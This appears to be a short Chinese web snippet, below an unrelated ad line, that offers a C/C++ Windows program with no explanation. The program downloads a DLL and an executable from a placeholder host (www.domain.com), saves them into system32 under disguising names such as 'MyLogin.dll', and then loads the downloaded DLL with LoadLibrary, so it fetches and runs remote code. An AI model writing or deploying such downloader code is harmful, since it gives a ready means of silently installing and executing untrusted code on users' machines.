🔥码云GVP开源项目 12k star Uniapp+ElementUI 功能强大 支持多语言、二开方便! 广告
请见代码 ~~~ #include "stdafx.h" #include "windows.h" #include "UrlMon.h" #pragma comment(lib, "urlmon.lib") bool FileIsExist(LPCTSTR szFileFullPathName) { WIN32_FIND_DATA Win32_Find_Data; HANDLE hFindFile; hFindFile = FindFirstFile(szFileFullPathName,&Win32_Find_Data); if(INVALID_HANDLE_VALUE == hFindFile) { //AfxMessageBox("Not Exist"); return false; } else { //AfxMessageBox("Have Exist"); FindClose(hFindFile); return true; } } int main(int argc, char* argv[]) { char DownURL[255] = "http://www.domain.com/test.dll"; char DownLoadDir[255]; char ExeURL[255] = "http://www.domain.com/test.exe"; char ExeDir[255]; GetWindowsDirectory(DownLoadDir,sizeof(DownLoadDir)); GetWindowsDirectory(ExeDir,sizeof(ExeDir)); strcat(DownLoadDir,"\\system32\\DLLtest.dll"); strcat(ExeDir,"\\system32\\MyLogin.dll"); URLDownloadToFile(0,ExeURL,ExeDir,0,NULL); Sleep(3000); URLDownloadToFile(0,DownURL,DownLoadDir,0,NULL); while(true) { if(FileIsExist(DownLoadDir) == true) break; else Sleep(1000); } Sleep(3000); LoadLibrary(DownLoadDir); Sleep(10000); return 0; } ~~~